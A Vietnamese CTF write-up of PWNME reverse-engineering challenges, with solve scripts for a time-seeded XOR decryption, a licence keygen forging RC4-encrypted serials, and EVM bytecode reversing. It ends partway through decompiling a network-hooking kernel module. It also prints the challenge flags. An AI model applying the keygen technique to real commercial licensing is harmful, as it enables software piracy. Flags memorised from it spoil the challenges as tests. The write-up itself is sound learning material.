## I. Introduction - TEAM: `KCSC` > Giải thứ 2 chơi cùng nhà RE, mình bú win được các anh. ## II. Writeups ### 1. Back_to_the_past - File thực thi là một file ELF, đi kèm với một file data `flag.enc`. Bài thuộc thể loại quay ngược quá khứ, tức là chall có gen ra seed sử dụng `time(0)` và mã hóa `flag`. Với bài này, điều quan trọng nhất cần lưu ý là các hàm `srand` và `rand` đã bị customed: ![image](https://hackmd.io/_uploads/ByyQIqViyl.png) ![image](https://hackmd.io/_uploads/ryDVI5Vo1l.png) - Mô phỏng hai hàm này, kết hợp với thông tin của chall: ![image](https://hackmd.io/_uploads/ByHlw5EjJg.png) mình có được script giải: ```python= import ctypes def rand(): global seed seed = ctypes.c_uint64(6364136223846793005 * seed + 1).value return seed >> 33 seed = 1715198477 f = open("flag.enc", "rb").read() msg = "" seed = seed - 1 for i in range(len(f)): v11 = ctypes.c_int(rand()).value msg += chr(f[i] ^ (v11 % 127)) print(msg) ``` - Số seed kia mình lấy từ [đây](https://www.epochconverter.com/): ![image](https://hackmd.io/_uploads/ry0fw94jkl.png) > ~~`PWNME{4baf3723f62a15f22e86d57130bc40c3}`~~ ### 2. C4-License - Chall được viết theo phong cách khá dị - sử dụng Qt5, thông tin thêm có thể đọc tại [đây](https://doc.qt.io/qt-5/index.html). Đi kèm với file thực thi còn có một file `license-Noa` bên cạnh, và khi đem chuỗi trong file đi decode thì mình được: ![image](https://hackmd.io/_uploads/S12zucVoke.png) - Bằng suy đoán và dựa vào description của chall ![image](https://hackmd.io/_uploads/S18T_cVj1e.png) - Mình nghĩ bài sẽ bằng cách nào đó gen key sử dụng user, sau đó viết chuỗi hex vào serial rồi đóng gói lại thành json. File ELF đề cho thực chất là một con check key, mình cần code ra keygen rồi dùng chall để check. Vậy thì cần tìm cơ chế check. Lục trong đống String thì mình thấy: ![image](https://hackmd.io/_uploads/BJKFF5Ei1e.png) - Xref theo thì tới được hàm khá sú ở đây: ![image](https://hackmd.io/_uploads/S156K9EiJx.png) - Đây là hàm `checker`: ::: spoiler checker ```c= __int64 __fastcall checker(__int64 *a1, const QByteArray *a2) { __int64 v3; // rdx __int64 v4; // rsi unsigned int v5; // eax int v6; // ebx volatile signed __int32 *v7; // rdi signed __int32 v8; // et0 volatile signed __int32 **v9; // r13 unsigned int v10; // edx _BYTE *v11; // rax unsigned __int64 v12; // rsi __int64 v13; // rax volatile signed __int32 *v14; // rdi __int64 v15; // r12 signed __int32 v16; // et0 volatile signed __int32 *v17; // rdi signed __int32 v18; // et0 volatile signed __int32 *v19; // rdi signed __int32 v20; // et0 volatile signed __int32 *v22; // [rsp+8h] [rbp-160h] BYREF volatile signed __int32 *v23; // [rsp+10h] [rbp-158h] BYREF volatile signed __int32 *v24; // [rsp+18h] [rbp-150h] BYREF char v25[276]; // [rsp+20h] [rbp-148h] BYREF unsigned __int8 v26[4]; // [rsp+134h] [rbp-34h] BYREF unsigned __int64 v27; // [rsp+138h] [rbp-30h] v3 = *((unsigned int *)a1 + 2); v4 = *a1; v27 = __readfsqword(0x28u); v5 = crc32(0LL, v4, v3); srand(v5); v6 = rand(); *(_DWORD *)v26 = _byteswap_ulong(rand() % 0xFFFF * (v6 % 0xFFFF)); RC4::RC4((RC4 *)v25, v26); QByteArray::fromHex((QByteArray *)&v24, a2); RC4::decrypt(&v22, v25, &v24); v7 = v24; if ( !*v24 || *v24 != -1 && (v8 = _InterlockedSub(v24, 1u), v7 = v24, !v8) ) QArrayData::deallocate(v7, 1LL, 8LL); v9 = &v23; QCryptographicHash::hash(&v23, &v22, 2LL); QByteArray::toHex((QByteArray *)&v24); v10 = *((_DWORD *)v24 + 1); if ( v10 ) { v11 = (char *)v24 + *((_QWORD *)v24 + 2); v12 = 0LL; while ( *v11 ) { v12 = (unsigned int)(v12 + 1); ++v11; if ( v10 == (_DWORD)v12 ) { v12 = v10; break; } } } else { v12 = 0LL; } v13 = QString::fromAscii_helper((QString *)((char *)v24 + *((_QWORD *)v24 + 2)), (const char *)v12, v10); v14 = v24; v15 = v13; if ( !*v24 || *v24 != -1 && (v16 = _InterlockedSub(v24, 1u), v14 = v24, !v16) ) QArrayData::deallocate(v14, 1LL, 8LL); v17 = v23; if ( !*v23 || *v23 != -1 && (v18 = _InterlockedSub(v23, 1u), v17 = v23, !v18) ) QArrayData::deallocate(v17, 1LL, 8LL); LOBYTE(v9) = (unsigned int)QString::compare_helper( v15 + *(_QWORD *)(v15 + 16), *(unsigned int *)(v15 + 4), "b039d6daea04c40874f80459bff40142bd25b995", 0xFFFFFFFFLL, 1LL) == 0; if ( !*(_DWORD *)v15 || *(_DWORD *)v15 != -1 && !_InterlockedSub((volatile signed __int32 *)v15, 1u) ) QArrayData::deallocate(v15, 2LL, 8LL); v19 = v22; if ( !*v22 || *v22 != -1 && (v20 = _InterlockedSub(v22, 1u), v19 = v22, !v20) ) QArrayData::deallocate(v19, 1LL, 8LL); return (unsigned int)v9; } ``` ::: - Hàm `checker` sẽ nhận vào hai tham số lần lượt là `(user, serial)`. Và luồng check sẽ như sau: ``` Tính toán CRC32 của user Seed CRC32(user) Gen key from seed Khởi tạo RC4(key) Decrypt serial bằng RC4(key) Hash SHA1 chuỗi decrypted serial So sánh với chuỗi mẫu trong bài ``` - Chuỗi mẫu có giá trị `b039d6daea04c40874f80459bff40142bd25b995`. Vậy để có được một chương trình gen key hợp lệ, mình sẽ lợi dụng valid key được cho ngay từ đầu trong bài để tìm lại chuỗi thỏa `sha1(decrypted serial) == b039d6daea04c40874f80459bff40142bd25b995`, sau đó làm lần lượt như sau: ``` Tính toán CRC32(user) Seed CRC32(user) -> key -> RC4(key) Encrypt decrypted serial Hợp thành key ``` - Code giải của mình sẽ như sau: ```python= from Crypto.Util.number import long_to_bytes from Crypto.Cipher import ARC4 from base64 import b64encode, b64decode from json import loads, dumps from binascii import crc32 from hashlib import sha1 from pwn import * import ctypes libc = ctypes.CDLL("libc.so.6") context.log_level = "Debug" def find_rc4_serial(): valid_key = open("license-Noa", "r").read().strip() valid_key = loads(b64decode(valid_key).decode()) _user, _serial = valid_key["user"], bytes.fromhex(valid_key["serial"]) crc32_user = crc32(_user.encode()) libc.srand(crc32_user) random_key = (libc.rand() % 0xFFFF) * (libc.rand() % 0xFFFF) random_key = random_key.to_bytes(4, "big") rc4 = ARC4.new(random_key) rc4_serial = rc4.decrypt(_serial) assert sha1(rc4_serial).hexdigest() == "b039d6daea04c40874f80459bff40142bd25b995" return rc4_serial def from_user_to_key(user, rc4_serial): crc32_user = crc32(user.encode()) libc.srand(crc32_user) random_key = (libc.rand() % 0xFFFF) * (libc.rand() % 0xFFFF) random_key = random_key.to_bytes(4, "big") rc4 = ARC4.new(random_key) _serial = rc4.encrypt(rc4_serial) valid_key = {"user": user, "serial": bytes.hex(_serial)} valid_key = b64encode(dumps(valid_key).encode()).decode() return valid_key rc4_serial = find_rc4_serial() user = "Noa" valid_key = from_user_to_key(user, rc4_serial) assert valid_key == open("license-Noa", "r").read().strip() io = process(["./checker.py", "python3"]) for _ in range(100): io.recvuntil(b"Your license for ") _user = io.recvuntil(b" user :", drop=True).strip().decode() _key = from_user_to_key(_user, rc4_serial) io.sendline(_key.encode()) io.recvuntil(b"License key valid !") io.interactive() ``` ![image](https://hackmd.io/_uploads/S1mcRnIjke.png) - Do mình viết script giải sau khi giải end, platform sập, phải chạy qua process. > ~~`PWNME{8d0f21d2a2989b739673732d8155022b}`~~ ### 3. Flattened_Vyper - Bài rất đơn giản, đây là desc: ![image](https://hackmd.io/_uploads/ryXsYjNikx.png) - Smart contract của bài nằm trong file `.bin`, nội dung như sau: ``` 0x6003361161001843405d6106b4576106ac43405d6106b4565b5f3560e01c346106b043405d6106b4576301002b1f81186106aa43405d6106b457608436106106b043405d6106b45760243560040160408135116106b043405d6106b4578035602082018181606037508060405250507f1b47819435df544ae4e6a35d3c2d0eb2900cab1460ec254d464c1d82d70db60a7fe4b87e6bca20abb51b195ca36f2af2f5438b8a072af4f6f657b9a8304e8d36910133186106b043405d6106b4577f400000000000000000000000000000000000000000000000000000000000000060a0527f100000000000000000000000000000000000000000000000000000000000000060c0527f6d1cd107e7ef14bc558622a86cb621d9f18c50764e98df43777f3b33164b87dd7f42e0da5ae4babe43a564859fc944bb6033a02fb2741ff60444793a962b5ccf627fa2b11742daceaab03c583a6aa15e32d664450c3eb36da7897f6ce121490078597f8d4d1c1fd99b004fccba9d5d04aca86fa66973fa89ea8ece4c6ae08474173fa6181803517f781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c64f7f781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c6ef18517f0512bd13110722311710cf5327ac435a7a97c643656412a9b8a1abcd1a6916c77f459142deccea264542a00403ce80c4b0a4042bb3d4341aad06905269ed6f0b097f4083ffcddded047455b0cb50e92c87eade93edf0b1500804be31f9a4f7061dc2180335181861069f43405d6106b4577f805d92843fa8a2a28a4c797f73b9b4d5a4d8fd4f515d4e8cdfc2c303969081497f4c45d48945056a0c8203311b215240ed84ad80e70629f350834b13c2c0f510d47f0768ff01e42043ef7236fc833ca34516c059f32dce8faaa7c3085cb73a85b9df18037fadaf670881744dc7aa596a2d1eb68dbc21fef929481f4bc6ec75331d53acbd2e7f61ec705ea65e9bbf5b5a26cc5fa4f55ad1074377dce1ffbc52d65a8816af56a47f9c1a44f72090b2084eff4360bf11986150f7b5b16b3d4c0a999ed8953cfd668a010360e05260207f5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd717fa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f01a17f101aa2511b4501cd6f4bedff54bee2f014409dfdf0c34e4a64b6f4f4e72d12a17f6aaf1061dc80372e146e902c25be0914f9997523a728f840c73791d7d1c5554e7fed7a429f015e2d1de96ca3ecadf167436726c87d156b2102064cdc2db8a65eba7f8a0afd773820c30d4395e19e96c0e921f3358da90bb44eb99631bbcc1afc52d27f2933690f7726bee93b2fb03b006b8c4f0cd1d2602dd08d3884e88cb07c9985557ff498467872da19bd835f3a0d95241a369f38625609e70acb1761497dddfe741101010101516060201861069f43405d6106b4577f7d32a137160083987c5b53f4a7153ac04f8d6c93569d179ad4df3963572af76b7f9650daf8bc6e9af151f6c7125f922329197841d23a7933641b5c2b5a836f208d7f0d973dfa900ec9b8498e449d6a71d2eed81d94c326c4acc325db9c6420acc6bd01037fc86afc4c1f60387b16cce4e4b7c47baf30b9fc18389a2563b2afbe90f43b938b7f9de848aa2e1f7fadbc76fdeb1e6d86e23f62c033260728029884a9e1533cf0907f4535f7c4dddcbd2e353778b864f7e5aadeb48786211942f0066b5715f41e13447fcd1941de2602e740c239ec7184cd0608b8cebb856e7243bca25b386695fc5d4f7f11fea6990cda43a993f3c8cb366da2c23305d78b65ad90ea8578bc704a1b53617f81385805084428d13c1994377979238f1c9f574353e344bf9674b56f2380894f031818010160e0527fb861afb70639f08b7f0a674d3ce0216ce6746772b2c753574d99d19c2507759b7f479e5048f9c60f7480f598b2c31fde93198b988d4d38aca8b2662e63daf88a85017f5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd717fa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f01a1610a286002604435181861069f43405d6106b4577f6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab967fa3f4105dff5270ad5b285974bd7f411880965825ce709ecdb52d7d484df31bfd7f493267cb0f8113a9bd75b52869d3344723cd0d18ac091431f0c8c0557d4d69c37f8a7d2dab1437a704175dec5cd4ac755fa35b553d62798afc45e5bd1d30be723e180360e052602060e0a1600160e052602060e06106a843405d6106b4565b5f60e052602060e05bf35b505b5f5ffd5b5f80fd5b43405c8081181856 ``` - Vì là smart contract, mình sẽ đem nó đi decompile trên [trang này](https://ethervm.io/decompile), nhận được: ::: spoiler code ```solidity= label_0000: // Inputs[3] // { // @0002 msg.data.length // @0007 block.number // @0008 block.blockHash(block.number) // } 0000 60 PUSH1 0x03 0002 36 CALLDATASIZE 0003 11 GT 0004 61 PUSH2 0x0018 0007 43 NUMBER 0008 40 BLOCKHASH 0009 5D 5D // Stack delta = +3 // Outputs[3] // { // @0003 stack[0] = msg.data.length > 0x03 // @0004 stack[1] = 0x0018 // @0008 stack[2] = block.blockHash(block.number) // } // Block terminates 000A 61 PUSH2 0x06b4 000D 57 *JUMPI 000E 61 PUSH2 0x06ac 0011 43 NUMBER 0012 40 BLOCKHASH 0013 5D 5D 0014 61 PUSH2 0x06b4 0017 56 *JUMP 0018 5B JUMPDEST 0019 5F 5F 001A 35 CALLDATALOAD 001B 60 PUSH1 0xe0 001D 1C SHR 001E 34 CALLVALUE 001F 61 PUSH2 0x06b0 0022 43 NUMBER 0023 40 BLOCKHASH 0024 5D 5D 0025 61 PUSH2 0x06b4 0028 57 *JUMPI 0029 63 PUSH4 0x01002b1f 002E 81 DUP2 002F 18 XOR 0030 61 PUSH2 0x06aa 0033 43 NUMBER 0034 40 BLOCKHASH 0035 5D 5D 0036 61 PUSH2 0x06b4 0039 57 *JUMPI 003A 60 PUSH1 0x84 003C 36 CALLDATASIZE 003D 10 LT 003E 61 PUSH2 0x06b0 0041 43 NUMBER 0042 40 BLOCKHASH 0043 5D 5D 0044 61 PUSH2 0x06b4 0047 57 *JUMPI 0048 60 PUSH1 0x24 004A 35 CALLDATALOAD 004B 60 PUSH1 0x04 004D 01 ADD 004E 60 PUSH1 0x40 0050 81 DUP2 0051 35 CALLDATALOAD 0052 11 GT 0053 61 PUSH2 0x06b0 0056 43 NUMBER 0057 40 BLOCKHASH 0058 5D 5D 0059 61 PUSH2 0x06b4 005C 57 *JUMPI 005D 80 DUP1 005E 35 CALLDATALOAD 005F 60 PUSH1 0x20 0061 82 DUP3 0062 01 ADD 0063 81 DUP2 0064 81 DUP2 0065 60 PUSH1 0x60 0067 37 CALLDATACOPY 0068 50 POP 0069 80 DUP1 006A 60 PUSH1 0x40 006C 52 MSTORE 006D 50 POP 006E 50 POP 006F 7F PUSH32 0x1b47819435df544ae4e6a35d3c2d0eb2900cab1460ec254d464c1d82d70db60a 0090 7F PUSH32 0xe4b87e6bca20abb51b195ca36f2af2f5438b8a072af4f6f657b9a8304e8d3691 00B1 01 ADD 00B2 33 CALLER 00B3 18 XOR 00B4 61 PUSH2 0x06b0 00B7 43 NUMBER 00B8 40 BLOCKHASH 00B9 5D 5D 00BA 61 PUSH2 0x06b4 00BD 57 *JUMPI 00BE 7F PUSH32 0x4000000000000000000000000000000000000000000000000000000000000000 00DF 60 PUSH1 0xa0 00E1 52 MSTORE 00E2 7F PUSH32 0x1000000000000000000000000000000000000000000000000000000000000000 0103 60 PUSH1 0xc0 0105 52 MSTORE 0106 7F PUSH32 0x6d1cd107e7ef14bc558622a86cb621d9f18c50764e98df43777f3b33164b87dd 0127 7F PUSH32 0x42e0da5ae4babe43a564859fc944bb6033a02fb2741ff60444793a962b5ccf62 0148 7F PUSH32 0xa2b11742daceaab03c583a6aa15e32d664450c3eb36da7897f6ce12149007859 0169 7F PUSH32 0x8d4d1c1fd99b004fccba9d5d04aca86fa66973fa89ea8ece4c6ae08474173fa6 018A 18 XOR 018B 18 XOR 018C 03 SUB 018D 51 MLOAD 018E 7F PUSH32 0x781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c64f 01AF 7F PUSH32 0x781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c6ef 01D0 18 XOR 01D1 51 MLOAD 01D2 7F PUSH32 0x0512bd13110722311710cf5327ac435a7a97c643656412a9b8a1abcd1a6916c7 01F3 7F PUSH32 0x459142deccea264542a00403ce80c4b0a4042bb3d4341aad06905269ed6f0b09 0214 7F PUSH32 0x4083ffcddded047455b0cb50e92c87eade93edf0b1500804be31f9a4f7061dc2 0235 18 XOR 0236 03 SUB 0237 35 CALLDATALOAD 0238 18 XOR 0239 18 XOR 023A 61 PUSH2 0x069f 023D 43 NUMBER 023E 40 BLOCKHASH 023F 5D 5D 0240 61 PUSH2 0x06b4 0243 57 *JUMPI 0244 7F PUSH32 0x805d92843fa8a2a28a4c797f73b9b4d5a4d8fd4f515d4e8cdfc2c30396908149 0265 7F PUSH32 0x4c45d48945056a0c8203311b215240ed84ad80e70629f350834b13c2c0f510d4 0286 7F PUSH32 0x0768ff01e42043ef7236fc833ca34516c059f32dce8faaa7c3085cb73a85b9df 02A7 18 XOR 02A8 03 SUB 02A9 7F PUSH32 0xadaf670881744dc7aa596a2d1eb68dbc21fef929481f4bc6ec75331d53acbd2e 02CA 7F PUSH32 0x61ec705ea65e9bbf5b5a26cc5fa4f55ad1074377dce1ffbc52d65a8816af56a4 02EB 7F PUSH32 0x9c1a44f72090b2084eff4360bf11986150f7b5b16b3d4c0a999ed8953cfd668a 030C 01 ADD 030D 03 SUB 030E 60 PUSH1 0xe0 0310 52 MSTORE 0311 60 PUSH1 0x20 0313 7F PUSH32 0x5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd71 0334 7F PUSH32 0xa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f 0355 01 ADD 0356 A1 LOG1 0357 7F PUSH32 0x101aa2511b4501cd6f4bedff54bee2f014409dfdf0c34e4a64b6f4f4e72d12a1 0378 7F PUSH32 0x6aaf1061dc80372e146e902c25be0914f9997523a728f840c73791d7d1c5554e 0399 7F PUSH32 0xed7a429f015e2d1de96ca3ecadf167436726c87d156b2102064cdc2db8a65eba 03BA 7F PUSH32 0x8a0afd773820c30d4395e19e96c0e921f3358da90bb44eb99631bbcc1afc52d2 03DB 7F PUSH32 0x2933690f7726bee93b2fb03b006b8c4f0cd1d2602dd08d3884e88cb07c998555 03FC 7F PUSH32 0xf498467872da19bd835f3a0d95241a369f38625609e70acb1761497dddfe7411 041D 01 ADD 041E 01 ADD 041F 01 ADD 0420 01 ADD 0421 51 MLOAD 0422 60 PUSH1 0x60 0424 20 SHA3 0425 18 XOR 0426 61 PUSH2 0x069f 0429 43 NUMBER 042A 40 BLOCKHASH 042B 5D 5D 042C 61 PUSH2 0x06b4 042F 57 *JUMPI 0430 7F PUSH32 0x7d32a137160083987c5b53f4a7153ac04f8d6c93569d179ad4df3963572af76b 0451 7F PUSH32 0x9650daf8bc6e9af151f6c7125f922329197841d23a7933641b5c2b5a836f208d 0472 7F PUSH32 0x0d973dfa900ec9b8498e449d6a71d2eed81d94c326c4acc325db9c6420acc6bd 0493 01 ADD 0494 03 SUB 0495 7F PUSH32 0xc86afc4c1f60387b16cce4e4b7c47baf30b9fc18389a2563b2afbe90f43b938b 04B6 7F PUSH32 0x9de848aa2e1f7fadbc76fdeb1e6d86e23f62c033260728029884a9e1533cf090 04D7 7F PUSH32 0x4535f7c4dddcbd2e353778b864f7e5aadeb48786211942f0066b5715f41e1344 04F8 7F PUSH32 0xcd1941de2602e740c239ec7184cd0608b8cebb856e7243bca25b386695fc5d4f 0519 7F PUSH32 0x11fea6990cda43a993f3c8cb366da2c23305d78b65ad90ea8578bc704a1b5361 053A 7F PUSH32 0x81385805084428d13c1994377979238f1c9f574353e344bf9674b56f2380894f 055B 03 SUB 055C 18 XOR 055D 18 XOR 055E 01 ADD 055F 01 ADD 0560 60 PUSH1 0xe0 0562 52 MSTORE 0563 7F PUSH32 0xb861afb70639f08b7f0a674d3ce0216ce6746772b2c753574d99d19c2507759b 0584 7F PUSH32 0x479e5048f9c60f7480f598b2c31fde93198b988d4d38aca8b2662e63daf88a85 05A5 01 ADD 05A6 7F PUSH32 0x5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd71 05C7 7F PUSH32 0xa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f 05E8 01 ADD 05E9 A1 LOG1 05EA 61 PUSH2 0x0a28 05ED 60 PUSH1 0x02 05EF 60 PUSH1 0x44 05F1 35 CALLDATALOAD 05F2 18 XOR 05F3 18 XOR 05F4 61 PUSH2 0x069f 05F7 43 NUMBER 05F8 40 BLOCKHASH 05F9 5D 5D 05FA 61 PUSH2 0x06b4 05FD 57 *JUMPI 05FE 7F PUSH32 0x6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab96 061F 7F PUSH32 0xa3f4105dff5270ad5b285974bd7f411880965825ce709ecdb52d7d484df31bfd 0640 7F PUSH32 0x493267cb0f8113a9bd75b52869d3344723cd0d18ac091431f0c8c0557d4d69c3 0661 7F PUSH32 0x8a7d2dab1437a704175dec5cd4ac755fa35b553d62798afc45e5bd1d30be723e 0682 18 XOR 0683 03 SUB 0684 60 PUSH1 0xe0 0686 52 MSTORE 0687 60 PUSH1 0x20 0689 60 PUSH1 0xe0 068B A1 LOG1 068C 60 PUSH1 0x01 068E 60 PUSH1 0xe0 0690 52 MSTORE 0691 60 PUSH1 0x20 0693 60 PUSH1 0xe0 0695 61 PUSH2 0x06a8 0698 43 NUMBER 0699 40 BLOCKHASH 069A 5D 5D 069B 61 PUSH2 0x06b4 069E 56 *JUMP 069F 5B JUMPDEST 06A0 5F 5F 06A1 60 PUSH1 0xe0 06A3 52 MSTORE 06A4 60 PUSH1 0x20 06A6 60 PUSH1 0xe0 06A8 5B JUMPDEST 06A9 F3 *RETURN 06AA 5B JUMPDEST 06AB 50 POP 06AC 5B JUMPDEST 06AD 5F 5F 06AE 5F 5F 06AF FD *REVERT 06B0 5B JUMPDEST 06B1 5F 5F 06B2 80 DUP1 06B3 FD *REVERT 06B4 5B JUMPDEST 06B5 43 NUMBER 06B6 40 BLOCKHASH 06B7 5C 5C 06B8 80 DUP1 06B9 81 DUP2 06BA 18 XOR 06BB 18 XOR 06BC 56 *JUMP ``` ::: - Đây là các bytecode của code solidity đã được dịch ra, mình sẽ sử dụng [doc](https://ethervm.io/#opcodes) để đọc opcode và cố gắng reverse nó. Sử dụng web gen ra [graph](https://bytegraph.xyz/bytecode/63fa04cb66e21595dd28556cc567fd11/list), mình có được: ![image](https://hackmd.io/_uploads/HkU8gnEoyl.png) - Được biết, các hàm `LOG` sẽ giúp chúng ta thực thi các `event`: ![image](https://hackmd.io/_uploads/HkvFe3VsJl.png) - Bên cạnh đó, flag được chia thành 3 phần như trong desc, vì vậy mình sẽ đọc tất cả các code trước mỗi `LOG1` và suy luận. Nhận ra trước mỗi `LOG1` đều có `*JUMPI` nên mình sẽ ném code lên trang [này](https://www.evm.codes/playground) để kiểm tra stack state: - [Part 1](https://www.evm.codes/playground?fork=cancun&unit=Wei&codeType=Mnemonic&code='t805d92843fa8a2a28a4c797f73b9b4d5a4d8fd4f515d4e8cdfc2c30396908149~4c45d48945056a0c8v3311b215240ed84ad80e70629f350834b13c2c0f510d4~0768ff01e4v43ef7236fc833ca34516c059f32dce8faaa7c3085cb73a85b9dfzXORzSUB~adaf670881744dc7aa596a2d1eb68dbc21fef929481f4bc6ec75331d53acbd2e~61ec705ea65e9bbf5b5a26cc5fa4f55ad1074377dce1ffbc52d65a8816af56a4~9c1a44f7v90bv84eff4360bf11986150f7b5b16b3d4c0a999ed8953cfd668auSUBse0zMSTOREsv~5a589468edfec83b6b027d7dc5bb900ed2921f16vaae0da1aa294cc3ef1dd71~a5a76b971v137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236fuLOG1'~ztz%5Cny%200xwPUSHv20uzADDztw32yszw1y%01stuvwyz~_) ![image](https://hackmd.io/_uploads/B13R3rroJl.png) - [Part 2](https://www.evm.codes/playground?fork=cancun&unit=Wei&codeType=Mnemonic&code='w7dma13s60083987c5btf4astac04f8d6c93569d179ad4df3963572q76b~9650dqvc6e9q15o6cs25f92u29197841dua7933641b5c2b5a836f208d~0d973dfa900ec9b8498e449d6asd2eed81drcm6c4accm5db9c6420acc6bdyi~c86qc4co60l7b16cce4e4b7c47bq30b9fc18l9a2563b2qbe90f43b93v~9de848aa2eo7fadbc76fdeb1e6d86euf62c03m60728029884a9e1t3cf090~4t5f7c4dddcbd2e3t77v864f7e5aadeb48786211r2f0066b5s5f41e1344~cd1r1de2602ep0cu9ecs84cd060v8cebb856e7243bca25bl6695fc5d4f~1oea6990cda43a993f3c8cb366da2cu305d7v65ad90ea857vc704a1bt61~81l5805084428d13c19r377979u8f1c9f5p3te344bf96pb56fu808rfihhyyzj1ke0zMSTORE~b861qb70639f0v7f0a6pd3ce0216ce6p6772b2c7t5pd99d19c2507759b~479e5048f9c60fp80f59v2c3ode9319v988d4dlacav2662e63dq88a85y~5a58r68edfec83b6b027d7dc5bb900ed292o1620aae0da1aa2rcc3ef1dds~a5a76b9s20137c4rfd828ua446ff12d6de0e9df55o25e55d6b33c10eu6fyzLOG1'~zwz%5CnyzADDwjmkv8bu23t53s71r94qafp74o1fm32l38k%200xjPUSHizSUBhzXOR%01hijklmopqrstuvwyz~_) ![image](https://hackmd.io/_uploads/ryTk6rBokx.png) - [Part 3](https://www.evm.codes/playground?fork=cancun&unit=Wei&codeType=Mnemonic&code='uw6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab96~wa3f4105dff5270ad5b285974bd7f411880965825ce709ecdb52d7d484df31bfd~w493267cb0f8113a9bd75b52869d3344723cd0d18ac091431f0c8c0557d4d69c3~w8a7d2dab1437a704175dec5cd4ac755fa35b553d62798afc45e5bd1d30be723eyXORySUBvMSTORE~1z20vLOG1'~yuz%200xy%5Cnw32zv~1ze0yuPUSH%01uvwyz~_) ![image](https://hackmd.io/_uploads/SkAgarrskg.png) - Đây là state trước mỗi `LOG1`, mình sẽ trích lấy data của mem và thực hiện theo logic của từng `LOG1` ```python= from base58 import b58decode from pwn import xor flag1 = "50574e4d457b0000000000000000000000000000000000000000000000000000" flag2 = "4d684c674e377772326f42757963660000000000000000000000000000000000" flag3 = "1f5b3a021c6444004f0000000000000000000000000000000000000000000000" flag1 = bytes.fromhex(flag1).strip(b"\x00") flag2 = bytes.fromhex(flag2).strip(b"\x00") flag3 = bytes.fromhex(flag3).strip(b"\x00") flag = flag1 + b58decode(flag2) + xor(flag3, flag2) print(flag) ``` > ~~`PWNME{SuCh_4_M3t4R3veRS3r}`~~ ### 4. Mimirev - Bài khá lạ, solved bởi anh `neziRzz`. File attached là một con compiler, mình thử ném vào IDA Pro cũ nhưng bị stripped hết, vì vậy mình sẽ đưa vào IDA Free phiên bản mới hơn :face_with_cowboy_hat:. Tuy nhiên mình chưa hiểu luồng nên sẽ viết bài này sau. ### 5. Super Secure Network - Chall khá trôn và dị, file attached gồm có 2 file, một file `.pcapng` và một file `.ko`. Định dạng file `.ko` này khá lạ, theo mình tìm hiểu được thì nó được sử dụng cho `Kernel Modules` ở một số distro Linux. Theo [nguồn này](https://fileinfo.com/extension/ko) thì nó chứa code để chạy các chức năng của Linux kernel. Khi đưa vào IDA thì mình không tìm được `main`. Tuy nhiên, theo [Geeksforgeeks về linux kernel](https://www.geeksforgeeks.org/linux-kernel-module-programming-hello-world-program/), khi lập trình với linux kernel, có hai module cần chú ý là `init_module()` và `cleanup_module()`: ![image](https://hackmd.io/_uploads/BJfMQT8sJl.png) - Vậy mình sẽ phân tích bắt đầu từ `init_module`: ```c= __int64 init_module() { __int64 v1[5]; // [rsp+0h] [rbp-58h] BYREF __int64 v2; // [rsp+28h] [rbp-30h] BYREF __int64 v3; // [rsp+30h] [rbp-28h] BYREF int v4; // [rsp+3Ch] [rbp-1Ch] __int64 v5; // [rsp+40h] [rbp-18h] __int64 v6; // [rsp+48h] [rbp-10h] unsigned int v7; // [rsp+54h] [rbp-4h] v7 = 0; v6 = 0LL; l1111l11l11l111l = l111lll11l1ll11l(60); get_random_bytes(&lll1ll1l111l111l, 8LL); v2 = 2LL; v1[4] = 1LL; v1[1] = &l1111l11l11l111l; v1[2] = &v2; v3 = lll1l11l1l1l1111(2uLL, lll1ll1l111l111l, l1111l11l11l111l); v1[0] = &v3; v1[3] = 0x800000008LL; v7 = crypto_dh_key_len(v1); if ( v7 ) { v5 = v7; v4 = 17301536; v6 = _kmalloc(v7, 17301536LL); if ( v6 ) { if ( !crypto_dh_encode_key(v6, v7, v1) && lll1llll111ll1l1(0xC0A8013C, 3333) >= 0 ) { qword_B5C0 = sub_E0A; byte_B5D8 = 2; dword_B5DC = 0; dword_B5E0 = 0x80000000; qword_B600 = sub_104E; byte_B618 = 2; dword_B61C = 4; dword_B620 = 0x80000000; if ( !nf_register_net_hook(&init_net, &qword_B5C0) && !nf_register_net_hook(&init_net, &qword_B600) ) llll1l1ll1lll1l1(l1ll111lll11lll1, v6, v7); } } } return 0LL; } ``` - Trong này, các hàm obfuscated khá khó chịu, thầy `SonVH` cũng có đổi tên hàm cho mọi người trong team RE dễ đọc nhưng vì mục đích học tập, mình sẽ tự phân tích và đổi tên lại. - Dưới đây là một số hàm quan trọng mình đã đổi tên: ::: spoiler init_module ```c= __int64 init_module() { __int64 dh_params[5]; // [rsp+0h] [rbp-58h] BYREF __int64 generator; // [rsp+28h] [rbp-30h] BYREF __int64 v3; // [rsp+30h] [rbp-28h] BYREF int v4; // [rsp+3Ch] [rbp-1Ch] __int64 v5; // [rsp+40h] [rbp-18h] __int64 key_buffer; // [rsp+48h] [rbp-10h] unsigned int key_length; // [rsp+54h] [rbp-4h] key_length = 0; key_buffer = 0LL; prime = generate_safe_prime(60); get_random_bytes(&private_exponent, 8LL); generator = 2LL; dh_params[4] = 1LL; dh_params[1] = &prime; dh_params[2] = &generator; v3 = modular_exponentiation(2uLL, private_exponent, prime); dh_params[0] = &v3; dh_params[3] = 0x800000008LL; key_length = crypto_dh_key_len(dh_params); if ( key_length ) { v5 = key_length; v4 = 0x1080020; key_buffer = _kmalloc(key_length, 